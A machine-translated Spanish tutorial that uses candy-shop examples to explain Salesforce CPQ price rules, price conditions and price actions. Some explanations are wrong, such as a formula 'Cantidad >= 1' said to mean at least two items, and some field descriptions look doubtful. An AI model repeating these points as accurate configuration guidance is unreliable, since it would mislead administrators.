– Mayor o igual que (>=): Comprueba si el valor del campo es mayor o igual que el valor especificado.

– Menor o igual que (<=): Comprueba si el valor del campo es menor o igual que el valor especificado.

– Contiene: comprueba si el valor del campo contiene una subcadena o valor específico.

Por ejemplo, si tiene una Condición de precio para aplicar un descuento cuando la cantidad de un producto es mayor a 10, utilizará el operador "Mayor que" (>) y especificará el valor 10 en la condición.

¿Qué es el campo Uso del tipo de filtro en el objeto de condición de precio?

Una captura de pantalla de una computadora Descripción generada automáticamente

1. Variable: Le permite seleccionar una variable de resumen que contiene un valor específico. Las variables de resumen se utilizan para almacenar y hacer referencia a valores calculados basados en agregaciones o lógica de fórmula.

2. Fórmula: Le permite especificar una fórmula o expresión que determina la condición para que se aplique la Regla de Precio. Puede utilizar funciones de fórmula, operadores y referencias de campo para crear condiciones complejas basadas en los valores de la partida de presupuesto u otros objetos relacionados.

3. Valor: especifica un valor específico con el que se comparará el campo de la partida de cotización. Por lo general, se usa junto con los campos "Campo" y "Operador" para definir la condición.

Juntos, la "Variable", la "Fórmula" y el "Valor" le permiten definir las condiciones que determinan cuándo se debe aplicar la regla de precio a una partida de cotización específica.

¿Qué es el campo de valor de filtro en la condición de precio?

Un rectángulo azul y blanco Descripción generada automáticamente

El valor del filtro representa el valor esperado o el umbral con el que se compara el campo de la partida de presupuesto o grupo de partidas de presupuesto. El valor del filtro puede ser un valor numérico, un valor de texto, una fecha o cualquier otro tipo de datos adecuado según el campo que se utilice en la condición.

Escenario: regla de precio que ofrece un descuento en los dulces de ositos de goma si la cantidad supera un cierto umbral. Desea solicitar un 10% de descuento cuando la cantidad es superior a 10.

Solución

En este escenario, la Condición de Precio tendrá la siguiente configuración:

– Tipo de filtro: Campo de línea de cotización

– Campo: Cantidad

– Operador: Mayor que

– Valor del filtro: 10

Aquí, el valor del filtro se establece en 10, lo que indica que la condición busca una cantidad superior a 10. Al evaluar las líneas de cotización, si la cantidad de dulces de ositos de goma supera los 10, la condición se considera verdadera y la regla de precio con se aplicará la acción asociada, como aplicar el 10% de descuento.

¿Cuál es el uso del campo variable de filtro en la condición de precio?

El campo Filtrar variable en la condición de precio le permite hacer referencia a una variable personalizada específica de una línea de cotización o un grupo de líneas de cotización y utilizarla en la evaluación de la condición.

Consideremos un ejemplo de caramelo para comprender el uso del campo de variable de filtro en la condición de precio.

Guión

Supongamos que tiene una variable personalizada llamada "MinOrderQuantity". El objetivo es aplicar un descuento cuando la cantidad supera el valor de MinOrderQuantity de 10.

Solución:

1. Defina una variable personalizada:

– Cree una variable personalizada llamada "MinOrderQuantity" para representar la cantidad mínima de dulces necesaria para calificar para un descuento.

– Establezca el valor de “MinOrderQuantity” en 10.

2. Crear una condición de precio:

– Tipo de filtro: Campo de línea de cotización

– Campo: Cantidad

– Operador: Mayor que o Igual a

– Campo de variable de filtro: MinOrderQuantity

Esta condición de precio verifica si la cantidad de artículos de dulces en la línea de cotización es mayor o igual que el valor almacenado en la variable "MinOrderQuantity".

3. Cree una acción de precio:

– Especificar la acción a realizar cuando se cumpla la Condición de Precio. Por ejemplo, puedes aplicar un descuento del 10% al Precio Unitario de los artículos de golosinas.

4. Aplicar la regla del precio:

– Conecte la Condición de precio y la Acción de precio a la Regla de precio.

– Asegúrese de que la regla de precios esté activa y configurada para activarse correctamente en su configuración de precios.

Ahora, veamos cómo funciona este ejemplo:

– Escenario 1: la cantidad es inferior a 10

– Si la cantidad de artículos de dulces en la línea de cotización es inferior a 10, la condición de precio se evalúa como falsa.

– La regla de precio no se activa y no se aplica ningún descuento.

– Escenario 2: la cantidad es 10 o más

– Si la Cantidad de artículos de dulces en la línea de cotización es igual o superior a 10, la Condición de precio se evalúa como verdadera.

– Se activa la regla de precio y se ejecuta la acción especificada, como aplicar un descuento del 10 % al precio unitario, en esos artículos de dulces.

¿Cuál es la diferencia entre el campo Variable de filtro y Variable probada en Condición de precio?

La principal diferencia entre una variable de filtro y una variable probada en Salesforce CPQ es el contexto en el que se utilizan.

Variable de filtro:

– Se utiliza una variable de filtro en la Condición de precio para definir una condición dinámica basada en un valor específico almacenado en una variable personalizada.

– Le permite hacer referencia a una variable personalizada definida dentro del contexto de la partida de cotización o grupo de partidas de cotización.

– La variable de filtro se utiliza como parte de la evaluación de la condición para compararla con otros campos o valores.

– Ayuda a determinar si se cumplen o no las condiciones especificadas en la Condición de Precio.

Variable probada:

– Una variable probada se usa en la condición avanzada de una regla de precio para evaluar una fórmula o lógica basada en valores específicos almacenados en variables personalizadas.

– Te permite crear condiciones o cálculos complejos basados en los valores de las variables personalizadas.

– La variable probada se usa en combinación con otras variables, campos o fórmulas para determinar el resultado de la condición avanzada.

Diferenciemos entre el campo Variable de filtro y Variable probada en el contexto de un ejemplo de caramelo:

Ejemplo: descuento de temporada en la tienda de golosinas

Escenario: Filtrar uso de variables

Si el cliente pide 25 dulces, la Condición de precio con la variable de filtro "MinOrderQuantity" evaluará si la cantidad es mayor o igual a 20. Si se cumple la condición, se activará la acción especificada, como aplicar un descuento. .

Solución

1. Cree una variable personalizada llamada "MinOrderQuantity"

2. Establezca el valor de "MinOrderQuantity" en 20, lo que indica que los clientes deben pedir al menos 20 dulces para ser elegibles para el descuento.

Precio Condición:

3. Cree una condición de precio en la regla de precio.

4. Seleccione el campo "Cantidad" como campo de filtro.

5. Elija el operador "Mayor o igual que".

6. Ingrese el valor del filtro como la variable "MinOrderQuantity".

7. Especifique la acción que desea realizar, como aplicar un porcentaje de descuento, cuando se cumpla la condición.

Escenario Probado Uso de variables

Ejemplo: Si el cliente tiene un nivel de lealtad de "Oro" y la variable probada "Porcentaje de descuento" se establece en 15%, la Condición avanzada evaluará si el nivel de lealtad del cliente es "Oro". Si la condición es verdadera, el porcentaje de descuento será ser ejecutado.

Solución

1. Cree una variable personalizada denominada "Porcentaje de descuento" en Salesforce CPQ.

2. Establezca el valor de "Porcentaje de descuento" en 15, lo que indica un 15% de descuento para clientes leales.

Condición avanzada:

3. Cree una Condición Avanzada en la Regla de Precio.

4. Defina la lógica utilizando variables probadas, como "Porcentaje de descuento", nivel de lealtad del cliente y otros criterios.

5. Especifique la acción que desea realizar, como aplicar el porcentaje de descuento, cuando la Condición avanzada se evalúe como verdadera.

En resumen, las variables de filtro se utilizan en Condiciones de precio para verificar si se cumplen ciertos criterios o umbrales, en función de variables, campos o valores personalizados. Las variables probadas, por otro lado, se utilizan en Condiciones Avanzadas para realizar cálculos o lógica basada en variables personalizadas , atributos del cliente u otros factores para determinar el resultado de la Regla de Precio.

¿Cómo usamos el campo Fórmula de filtro en la condición de precio?

El campo de fórmula de filtro en Condición de precio le permite definir una condición basada en fórmula para determinar si se debe aplicar la regla. Consideremos un ejemplo en el contexto de una tienda de golosinas:

Escenario: Compre uno, llévese otro gratis Promoción

Si el cliente está comprando al menos dos artículos de dulces, aplique un descuento para que uno de los artículos sea gratis como parte de la promoción "Compre uno, llévese otro gratis".

Solución

Este es un ejemplo paso a paso del uso del campo de fórmula de filtro en la Condición de precio para implementar una promoción de "Compre uno, llévese otro gratis" en el escenario de una tienda de golosinas:

1. Configure la Condición de Precio:

– Establezca el tipo de filtro en "Fórmula" en el registro de Condición de precio.

– Introduzca una fórmula en el campo de fórmula de filtro para comprobar si se cumple la condición. Cantidad >= 1.

– Esta fórmula verifica si la cantidad del artículo de dulces en la línea de cotización es mayor o igual a 1, lo que indica que el cliente está comprando al menos dos artículos.

2. Especifique la acción deseada:

– Determine la acción que desea realizar cuando la fórmula del filtro se evalúe como verdadera. En este caso, se trata de una promoción de “Compre uno, llévese otro gratis”.

¿Cuál es el uso del campo de índice en la condición de precio?

El campo "Índice" en el objeto Condición de precio se puede utilizar para definir el orden en el que se evalúan las condiciones para aplicar las reglas de precios. Consideremos un ejemplo para entender su uso:

Escenario: Descuento para barras de chocolate

1. Cree una regla de precio para aplicar un descuento a las barras de chocolate.

2. Agregue múltiples condiciones de precio dentro de la regla de precio para definir diferentes condiciones bajo las cuales se debe aplicar el descuento. Por ejemplo:

– Condición de Precio 1: Comprobar si el tipo de caramelo es “Barra de Chocolate”.

– Condición de Precio 2: Comprobar si la cantidad de barras de chocolate es mayor o igual a 10.

– Condición de precio 3: Comprobar si el cliente tiene un nivel de membresía específico.

3. Establezca los valores del índice para cada condición de precio:

– Condición de precio 1: establezca el valor del índice en 1.

– Condición de precio 2: establezca el valor del índice en 2.

– Condición de precio 3: establezca el valor del índice en 3.

Al asignar valores de índice a las condiciones de precio, está definiendo el orden en el que deben evaluarse. En este ejemplo, se evaluará primero la condición de precio 1 con un valor de índice de 1, seguida de la condición de precio 2 con un valor de índice de 2 y finalmente la condición de precio 3 con un valor de índice de 3.

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Acción del precio

Exploremos el uso del objeto Price Action con varios ejemplos.

1. Aplicar un descuento:

– Acción de precio: establezca un objeto de acción de precio con el objeto de destino como "Línea de cotización"

– Acción: especifique un porcentaje de descuento, como un 20 % de descuento, en la Acción de precio.

– Resultado: Cuando un cliente agrega un dulce específico a su cotización, Price Action automáticamente aplicará el descuento al Precio Unitario de ese dulce, resultando en un precio reducido.

2. Precios por volumen:

– Acción de precio: Cree un objeto de Acción de precio con el Objeto de destino establecido como “Línea de cotización”.

– Acción: defina una estructura de nivel de precio en la Acción de precio basada en rangos de cantidad. Por ejemplo:

– 1-10 dulces: $1 por dulce

– 11-20 dulces: $0.90 por dulce

– 21+ dulces: $0.80 por dulce

– Resultado: cuando un cliente agrega dulces a su cotización, Price Action ajustará el precio unitario en función de la cantidad, proporcionando descuentos de precios basados en el volumen.

3. Regalo con Compra:

– Acción de precio: establezca el objeto de destino como "Cotización" para aplicar la acción en el nivel de cotización.

– Acción: Especifique una condición de que si el cliente compra una cierta cantidad de un dulce específico, recibirá un regalo.

– Resultado: cuando se cumple la condición especificada, Price Action agregará automáticamente el obsequio a la cotización, mejorando la experiencia del cliente.

4. Precios especiales para clientes VIP:

– Acción de precio: cree un objeto de acción de precio con el objeto de destino como "Cotización" o "Línea de cotización" según sus requisitos.

– Acción: defina un campo personalizado que identifique a los clientes VIP. Establezca la Acción de precio para aplicar un descuento específico para esos clientes.

– Resultado: Cuando un cliente VIP agregue dulces a su cotización, Price Action reconocerá su estado y aplicará el descuento exclusivo automáticamente.

Estos ejemplos demuestran cómo el objeto Price Action le permite definir acciones específicas, como aplicar descuentos, ajustar precios en función de la cantidad, ofrecer obsequios o proporcionar precios especiales para segmentos de clientes específicos. El objeto Price Action le permite automatizar estas acciones.

La regla de precio y el objeto de acción de precio tienen una relación maestro-detalle.

Una captura de pantalla de una computadora Descripción generada automáticamente

Comprensión de los campos en el objeto de acción del precio

Una captura de pantalla de una computadora Descripción generada automáticamente

¿Cuál es el uso del campo de regla de precio en el objeto de acción de precio?

Conecta la acción del precio con la regla de precio principal. Indica a qué regla de precio está asociada la acción de precio y determina bajo qué regla debe evaluarse la condición.

¿Cuál es la importancia del objeto objetivo en la acción del precio?

Una captura de pantalla de una computadora Descripción generada automáticamente

El objeto de destino en la acción del precio determina dónde se aplicarán los cambios de precios especificados en la acción del precio.

Suponga que tiene una acción de precio que aplica un descuento del 10 % al precio unitario de los dulces de ositos de goma cuando la cantidad supera los 100. El campo Objeto de destino en la acción de precio determina qué registros recibirán este descuento.

En este caso, seleccionaría el objeto "Línea de cotización" como el Objeto de destino en la Acción del precio. Esto significa que el descuento se aplicará a los registros de línea de cotización que representan los dulces de ositos de goma en la cotización.

¿Importancia del campo Valor en Price Action?

El campo Valor en el objeto Acción del precio se usa para especificar el valor específico o los datos que deben establecerse en el campo del objeto de destino. Define el resultado de la acción del precio, indicando el resultado deseado o el cambio que debe ocurrir.

Escenario: cuando un cliente agrega un osito de gominola con sabor a fresa a su cotización, Price Action actualizará el campo Precio de ese dulce al valor especificado de $2.50.

Solución:

– Acción de precio: Cree un objeto de Acción de precio con el Objeto de destino establecido como “Línea de cotización”.

– Campo: elija el campo “Precio” en el objeto de destino que desea actualizar con un nuevo valor

– Valor: Especifique el precio deseado para el sabor del caramelo en el campo Valor. Si el dulce es un osito de goma con sabor a fresa, establezca el campo Valor en $2,50.

¿Cuál es el uso del campo Fórmula en el objeto Acción de precio y el campo Fórmula en el objeto Condición de precio?

Comprendamos cuándo usar el campo Fórmula en cada objeto.

  • El campo Fórmula en la Acción del precio se usa para calcular y aplicar directamente el monto del descuento o el valor del campo según ciertos criterios.
  • El campo Fórmula en la Condición de precio establece condiciones o calcula valores que determinan cuándo debe ejecutarse la Acción de precio.

Suponga que desea ofrecer un 10 % de descuento en un dulce de sabor a “chocolate”, pero el monto del descuento varía según la cantidad pedida del sabor de dulce de chocolate en la cotización.

Uso de la fórmula en la acción del precio:

En este escenario, puede agregar un campo Fórmula directamente al objeto Acción del precio. La fórmula calcularía el monto del descuento en función de la cantidad del sabor del caramelo "chocolate".

Uso de fórmula en condición de precio:

En algunos casos, es posible que desee aplicar el descuento solo si la cantidad del sabor de caramelo específico supera cierto umbral.

“SI (Cantidad > 10, 0,2, 0,1)” que establece el porcentaje de descuento en un 20% si la cantidad es superior a 10 y en un 10% en caso contrario. La condición de precio comprueba esta fórmula y evalúa si se cumple la condición. Si se cumple la condición, activa la Price Action asociada con el porcentaje de descuento definido.

Razones para usar fórmulas en condiciones de precio:

1. Lógica condicional: el campo Fórmula en la Condición de precio le permite definir la lógica condicional en función de criterios específicos. Puede configurar condiciones complejas que involucren múltiples campos o cálculos para determinar si se debe activar la acción del precio.

2. Filtrado avanzado: la condición de precio puede evaluar varios factores, como cantidad, precio, rango de fechas o cualquier otro campo relevante antes de decidir aplicar la acción de precio.

Razones para usar fórmulas en la acción del precio:

1. Actualizaciones directas de campo: si el cálculo del descuento es sencillo y no requiere condiciones complejas o filtrado, puede calcular y actualizar directamente el valor del campo en la acción del precio.

¿Cuál es la importancia del campo fuente en la acción del precio?

El "Campo de origen" en Price Action especifica el campo desde el cual se obtendrá el valor y se utilizará en Price Action.

Guión:

Para un producto de golosina en particular, el campo "Precio original" en el objeto Producto es $10.

Cuando se activa la Acción de precio, obtendrá el valor de $10 del campo "Precio original" en el objeto Producto.

La acción del precio luego actualizará el campo "Precio con descuento" en la línea de cotización con el valor obtenido. Digamos que tienes un porcentaje de descuento del 20%. En este caso, el cálculo sería:

Precio con descuento = Precio original – (Precio original * Porcentaje de descuento)

= $10 – ($10 * 0.20)

= $10 – $2

= $8

Después de ejecutar la acción de precio, el campo "Precio con descuento" en la línea de cotización se actualizará con el valor calculado de $8.

Solución:

Los siguientes detalles se completarán en el objeto de acción del precio:

– Objeto de origen: Producto

– Campo de origen: precio original

– Objeto de destino: línea de cotización

– Campo objetivo: Precio con descuento

¿Diferencia entre el campo de origen y el campo de búsqueda de origen en la acción del precio?

Objeto rectangular blanco con fondo blanco Descripción generada automáticamente

Campo de origen:

– El campo de origen hace referencia a un campo específico en el objeto de origen del que se obtienen los datos y se utilizan en la acción del precio.

Campo de búsqueda de fuente:

– El campo de búsqueda de origen, por otro lado, se usa cuando desea obtener el valor de campo de un registro relacionado a través de una relación de búsqueda. Le permite atravesar un campo de búsqueda para acceder a campos en el objeto relacionado y usarlos en la acción del precio.

Para entender la diferencia, consideremos un ejemplo con una tienda de golosinas:

Suponga que tiene un campo personalizado denominado "Precio original" en el objeto Producto y una relación de búsqueda entre los objetos Producto y Fabricante. El objeto Fabricante tiene un campo llamado "Nombre del fabricante".

Si desea buscar y usar el valor del campo "Precio original" directamente, usaría el Campo de origen. Sin embargo, si desea acceder al valor del campo "Nombre del fabricante" a través de la relación de búsqueda, debe utilizar el Campo de búsqueda de origen.

Aquí hay una comparación entre los dos:

Campo de origen:

– Ejemplo: Producto.Precio_Original__c

– Hace referencia directa al campo en el objeto de origen.

– Obtiene y utiliza el valor del campo especificado tal cual.

Campo de búsqueda de fuente:

– Ejemplo: Producto.Fabricante__r.Nombre_Fabricante__c

– Recorre una relación de búsqueda para acceder al valor de campo del objeto relacionado.

– Obtiene y usa el valor del campo especificado en el objeto relacionado.

En resumen, el campo de origen se usa para hacer referencia directamente a un campo en el objeto de origen, mientras que el campo de búsqueda de origen se usa para obtener el valor de campo de un registro relacionado a través de una relación de búsqueda. La elección depende de los datos específicos que desea recuperar y utilizar en la acción del precio.

¿Cuál es el uso del campo Variable de origen en la regla de precio?

Continuemos con nuestro ejemplo de la tienda de golosinas para ilustrar el uso del campo variable de origen en una acción de precio.

El campo Variable de origen en la Acción de precio le permite obtener el valor de la variable personalizada, digamos "Porcentaje de descuento" de la Regla de precio asociada. Esto permite que Price Action aplique dinámicamente el porcentaje de descuento correcto al campo "Precio con descuento".

1. Configure los siguientes detalles para la acción del precio:

– Objeto de origen: línea de cotización

– Objeto de destino: línea de cotización

– Campo objetivo: Precio con descuento

– Campo de variable de origen: Porcentaje de descuento

3. Digamos que la regla de precio determinó que el porcentaje de descuento aplicable es del 15 % en función de la cantidad de dulces en la cotización.

4. La acción del precio usará el valor obtenido del 15 % y lo aplicará al campo "Precio con descuento" en la línea de cotización. Supongamos que el precio original de los dulces es de $10.

Precio con descuento = Precio original – (Precio original * Porcentaje de descuento)

= $10 – ($10 * 0,15)

= $10 – $1.50

= $8.50

5. Después de ejecutar la acción de precio, el campo "Precio con descuento" en la línea de cotización se actualizará con el valor calculado de $8,50.

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Salesforce CPQ cubierto de azúcar: ¡Desentrañando las reglas de precios en el mundo de las tiendas de golosinas!

Salesforce CPQ cubierto de azúcar: ¡Desentrañando las reglas de precios en el mundo de las tiendas de golosinas!

Imagine que está creando un sistema Salesforce CPQ para una tienda de golosinas. Vaya, será muy divertido. ¿Cómo usaría las reglas de precios para manejar promociones especiales, como una oferta de "Compre uno, llévese otro gratis" para un dulce específico? En el escenario de la tienda de golosinas, ¿cómo crearía una regla de precio para aplicar un descuento del 20 % a todos los chocolates durante el Día de San Valentín?

Entonces, ¡saltemos y exploremos las reglas de precios en el universo de Salesforce CPQ cubierto de azúcar! Yay 😊

¿Regla de precios en Salesforce CPQ?

Imagina que tienes una tienda de dulces con diferentes tipos de dulces como piruletas, ositos de goma y barras de chocolate. Cada caramelo tiene un precio diferente. Ahora, hablemos de la regla del precio:

La regla del precio es como una regla especial que creas para tu tienda de golosinas. Te ayuda a decidir cómo fijar los precios o aplicar descuentos a diferentes dulces en función de determinadas condiciones.

Por ejemplo, supongamos que desea tener una oferta de "Compre uno, llévese otro gratis" para dulces de ositos de goma. Puede crear una regla de precios que diga que cada vez que alguien compra un paquete de ositos de goma, obtiene otro paquete gratis. ¡Es como una oferta especial solo para los amantes de los ositos de goma!

O tal vez quieras tener un descuento en piruletas por tiempo limitado. Puede crear una regla de precio llamada "Venta de piruletas" que reduce el precio de las piruletas en un 20 % durante una semana. Esto hace que las piruletas sean más asequibles y anima a más personas a comprarlas.

La regla de precios le permite establecer diferentes acciones y condiciones de precios para cada tipo de dulce. Puede definir descuentos, ofertas especiales o incluso ajustar los precios en función de condiciones específicas, como la cantidad comprada o el estado de membresía del cliente.

Al crear Reglas de precios, puede hacer que su tienda de golosinas sea más emocionante y atraer a más clientes. Te ayuda a establecer precios y aplicar descuentos de una manera que hace felices a las personas y las alienta a comprar sus dulces favoritos.

Imagen

¿Cuál es la estructura de la Regla de Precios?

La regla de precios incluía tres registros relacionados:

  1. Regla de precio
  2. Precio Condición
  3. Acción del precio

La Regla de precio tiene una relación Maestro-Detalle con la Condición de precio y la Acción de precio.

Al conectar la regla de precios con las condiciones de precios secundarias relevantes, el sistema de precios garantiza que se apliquen las reglas apropiadas en función de condiciones específicas. Price Action define las acciones que se deben tomar cuando se cumplen las condiciones de precio asociadas. Especifica cómo se deben modificar los precios u otros valores de campo en función de los criterios de la regla.

1. Regla de precio: La regla de precio contiene todas las reglas específicas para la fijación de precios en la tienda de golosinas. Le dice a la tienda cómo manejar diferentes situaciones al establecer los precios de los dulces.

2. Condición de precio: Hay alguien en la tienda que verifica el tipo de dulces que desea comprar. Se aseguran de que cumpla ciertas condiciones, como ser un “Gummy Bear” o tener un sabor específico.

3. Acción del precio: una vez que el dulce pasa la inspección, hay alguien que ajusta el precio según las reglas de precios. Pueden ofrecer un descuento, cambiar la cantidad o hacer algo especial para que el precio sea más atractivo.

Importancia de los campos en la regla de precios

Los campos juegan un papel importante en las reglas de precios dentro de Salesforce CPQ. Las reglas de precios usan campos para definir condiciones, acciones y criterios que determinan cómo se aplican los cálculos de precios y los descuentos. Por lo tanto, comprenderemos cada campo en el objeto Regla de precio y su importancia con la ayuda del Ejemplo de tienda de golosinas.

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¿Diferencia entre Calculator y Configurator Evaluation Scope en la regla de precio en Salesforce CPQ?

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El campo Alcance de la evaluación es como usar esa calculadora mágica. Cuando tiene reglas de precios con el Ámbito de evaluación de la calculadora, la calculadora las utiliza para decidir cuánto debería costar algo. Tiene dos valores de lista de selección:

  • Ámbito de evaluación de la calculadora: el ámbito se trata de usar reglas especiales para calcular precios.
  • Ámbito de evaluación del configurador: seguir las reglas cuando elige diferentes opciones.

Expliquemos la diferencia entre los ámbitos de evaluación de Calculadora y Configurador en Salesforce CPQ con un ejemplo en tiempo real:

Imagina que vas a una tienda de dulces a comprar unos deliciosos dulces. Tienes un presupuesto de $10 y quieres comprar diferentes tipos de dulces según sus sabores.

Exploremos cómo entran en juego los ámbitos de evaluación de la calculadora y el configurador:

1. Ámbito de evaluación de la calculadora:

– Imagina que hay una oferta especial en la que si compras más de 5 caramelos, obtienes un 20% de descuento sobre el precio total.

– Esta oferta es un ejemplo de una regla de precio con el Ámbito de evaluación de la calculadora. La regla calcula el precio con descuento en función de la cantidad de dulces que está comprando.

– Entonces, si agrega 7 dulces a su carrito, la Calculadora evalúa la regla del precio y aplica el descuento, reduciendo el costo total.

2. Alcance de la evaluación del configurador:

– Ahora, consideremos los sabores de dulces disponibles en la tienda: fresa, chocolate y limón.

– Existe una regla que dice que si elige dulces con sabor a fresa, no puede elegir dulces con sabor a limón porque no combinan bien.

– Esta regla es un ejemplo de una regla de precio con el alcance de evaluación del configurador. Controla la disponibilidad de ciertas opciones en función de sus elecciones anteriores.

– Si ya tienes caramelos de fresa en tu carrito, el Configurador evalúa la regla y evita que selecciones caramelos de limón, asegurando que no termines con una combinación incompatible.

En este ejemplo anterior

El Ámbito de evaluación de la calculadora ayuda a calcular el precio total de sus dulces en función de ofertas especiales, descuentos y cantidad.

El Ámbito de evaluación del configurador garantiza que siga ciertas reglas al seleccionar diferentes opciones, como sabores, para evitar opciones incompatibles.

¿Explicar el evento de evaluación de la calculadora?

Una captura de pantalla de una computadora Descripción generada automáticamente

Expliquemos los eventos de evaluación de la calculadora de "Al iniciar", "Al calcular", "Antes de calcular" y "Después de calcular" con un ejemplo en tiempo real utilizando el escenario de la tienda de golosinas:

En breve:

“On Initiate” marca el comienzo del proceso de cálculo de caramelos.

“On Calculate” realiza el cálculo del precio real de los dulces.

"Antes de calcular" aplica cualquier verificación o regla final justo antes del cálculo.

"Después de calcular" permite acciones adicionales o sorpresas después de que se hayan determinado los precios.

Entendamos con más detalle:

1. Al iniciar:

– Suponga que tiene una regla de precio que establece que si el cliente es un miembro leal, obtiene un 5 % de descuento en todas las compras de golosinas.

– Esta regla de precio tendría el evento de evaluación establecido en "Al iniciar".

– Cuando el cliente inicia el proceso de cálculo del precio, como por ejemplo al comenzar una nueva cotización, el sistema verifica si es un miembro fiel y aplica el 5% de descuento a todos los dulces en su carrito desde el principio.

2. En Calcular:

– Imagine que tiene una regla de precio que ofrece un descuento por volumen si el cliente compra más de 10 dulces de cualquier sabor.

– Esta regla de precio tendría el evento de evaluación establecido en "Al calcular".

– A medida que el cliente agrega dulces a su carrito, el sistema calcula continuamente la cantidad total de dulces. Cuando alcanza o supera los 10, se activa la regla de precio y se aplica un descuento por volumen a todos los dulces del carrito.

3. Antes de calcular:

– Supongamos que tiene una regla de precio que establece que si el cliente ha seleccionado dulces con un precio total superior a $30, recibe una bolsa de dulces de cortesía.

– Esta regla de precio tendría el evento de evaluación establecido en "Antes de calcular".

– Justo antes de realizar el cálculo final, el sistema verifica si el precio total de los dulces supera los $30. Si es así, se activa la regla de precio y se agrega una bolsa de dulces de cortesía al carrito.

4. Después de calcular:

– Suponga que tiene una regla de precio que ofrece una oferta promocional especial de "Compre 2, obtenga 1 gratis" para un sabor de dulce específico.

– Esta regla de precio tendría el evento de evaluación establecido en "Después de calcular".

– Una vez que se completa el cálculo final, el sistema revisa los dulces seleccionados por el cliente e identifica si califican para la oferta "Compre 2, obtenga 1 gratis". Si lo hacen, se activa la regla de precio y el sistema agrega los dulces gratis al carrito.

Mediante el uso de estos diferentes eventos de evaluación de la calculadora, puede aplicar descuentos, ofertas o modificaciones específicas en diferentes etapas del proceso de cálculo en Salesforce CPQ.

¿Cuál es el significado del campo "Condición cumplida" en una regla de precios?

Una captura de pantalla de una computadora Descripción generada automáticamente

Expliquemos los conceptos de "Condición cumplida – Todas" y "Condición cumplida – Cualquiera" usando nuestro ejemplo de tienda de golosinas:

1. Condición cumplida – Todas:

– Imagina que tienes una tienda de golosinas con una promoción especial: si un cliente compra al menos 5 golosinas y el precio total supera los $10, recibe una bolsa de golosinas gratis.

– Esta regla de precio tendría la condición cumplida establecida en “Todos”.

– Cuando un cliente agrega 5 o más dulces a su carrito y el precio total de esos dulces supera los $10, ¡se cumplen todas las condiciones!

– Como resultado, el sistema reconoce que el cliente califica para la promoción y se agrega automáticamente una bolsa de dulces gratis a su pedido al finalizar la compra.

2. Condición cumplida – Cualquiera:

– Ahora, considere una regla de precio diferente: si un cliente compra cualquier dulce con un sabor específico (por ejemplo, “Cereza”), o si compra más de 10 dulces en total, recibe un descuento del 20%.

– Esta regla de precio tendría la condición cumplida establecida en "Cualquiera".

– Cuando un cliente selecciona un dulce con sabor a “Cereza” o agrega más de 10 dulces a su carrito, ¡cualquiera de las condiciones se cumple!

– Como resultado, el sistema aplica el 20% de descuento a los dulces que califican, independientemente de la condición que activó el descuento.

En ambos escenarios, la "Condición cumplida: todas" requiere que se cumplan todas las condiciones especificadas, mientras que la "Condición cumplida: cualquiera" solo requiere que se cumpla al menos una condición. Estos diferentes enfoques le permiten crear estrategias de precios personalizadas basadas en combinaciones específicas o criterios individuales.

¿Puede explicar el campo de objeto de búsqueda en una regla de precio con la ayuda del escenario?

Un rectángulo negro con borde azul Descripción generada automáticamente

En tu tienda de golosinas tienes diferentes tipos de golosinas con características únicas. El campo Objeto de búsqueda en el objeto Regla de precio es como una conexión especial que lo ayuda a aplicar reglas específicas a ciertos tipos de dulces.

Imagina que tienes un caramelo llamado "Rainbow Lollipop" y quieres crear una regla de precio especial para él. Así es como funciona:

1. Relación de objetos de búsqueda:

– El campo Objeto de búsqueda es como un puente que conecta la regla de precio con el caramelo “Rainbow Lollipop”.

– Te ayuda a establecer una relación especial entre la Regla de Precio y este tipo de dulce específico.

2. Acceder a la información de dulces:

– Una vez que se establece la relación de búsqueda, puede acceder a la información sobre el caramelo “Rainbow Lollipop” dentro de la regla de precio.

– Podrás conocer detalles sobre el dulce, como su sabor, color

3. Aplicación de reglas especiales:

– Al usar el campo Objeto de búsqueda, puede crear reglas especiales que solo se aplican al caramelo “Rainbow Lollipop”.

– Por ejemplo, puede crear una regla que ofrezca un descuento del 20% por cada “Rainbow Lollipop” comprado.

Al tener esta conexión especial entre la Regla de precio y el caramelo “Rainbow Lollipop” a través del campo Objeto de búsqueda, puede crear reglas únicas y personalizadas solo para ese tipo de caramelo. Te permite aplicar ofertas especiales, descuentos u otras acciones específicas al “Rainbow Lollipop” que lo hacen destacar entre otros dulces en tu tienda.

Vamos a entender con más profundidad:

El campo Objeto de búsqueda en el objeto Regla de precios es una función que le permite establecer una relación entre la Regla de precios y otro objeto en su organización de Salesforce.

1. Establecimiento de la relación de búsqueda:

– Al crear una regla de precios, puede seleccionar un objeto relacionado en el campo Objeto de búsqueda.

– Esto establece una relación de búsqueda entre la regla de precio y el objeto elegido.

– El objeto relacionado puede ser un objeto de Salesforce estándar (como Producto o Cuenta) o un objeto personalizado específico para sus necesidades comerciales.

2. Acceso a datos relacionados:

– Una vez que se establece la relación de búsqueda, puede acceder a los datos relacionados del objeto elegido dentro de la regla de precio.

– Esto significa que puede recuperar información de campos específicos en el objeto relacionado y usarla en su lógica de reglas de precios.

– Por ejemplo, si el objeto de búsqueda se establece en "Producto", puede acceder a los campos del objeto Producto, como Nombre del producto, Precio o cualquier campo personalizado relacionado con el producto.

3. Utilización del objeto de búsqueda en la lógica de la regla de precios:

– Con el campo Objeto de búsqueda, puede aprovechar los datos relacionados del objeto elegido para impulsar las condiciones y acciones de la regla de precios.

– Por ejemplo, puede crear una regla de precio que aplique un descuento basado en el valor de un campo en el objeto relacionado.

– Al hacer referencia a los campos en el objeto relacionado, puede definir condiciones y acciones que son dinámicas y adaptables en función de los valores almacenados en el objeto relacionado.

En resumen, el campo Objeto de búsqueda en la Regla de precios le permite establecer una relación con otro objeto, recuperar datos de ese objeto y usarlos en la lógica de su regla de precios.

Si no ponemos ningún nombre de objeto en el campo de objeto de búsqueda, ¿significa que no obtendrá datos de ese objeto y no podemos establecer una condición basada en un registro en particular?

Eso es correcto. Si no especifica un nombre de objeto en el campo Objeto de búsqueda de la Regla de precio, significa que la regla de precio no obtendrá datos de ningún objeto específico . Sin un objeto de búsqueda especificado, no podrá establecer condiciones ni realizar acciones basadas en un registro particular o datos de otro objeto.

El campo Objeto de búsqueda es fundamental para establecer una relación entre la regla de precios y un objeto específico. Le permite acceder y aprovechar los datos de ese objeto en la lógica de su regla de precios. Si deja el campo Objeto de búsqueda en blanco, la regla de precio no tendrá una conexión con ningún objeto, lo que limitará su capacidad para hacer referencia a datos de otros registros o aplicar condiciones basadas en valores específicos .

¿Cuál es el significado de la casilla de verificación Activa en la regla de precios?

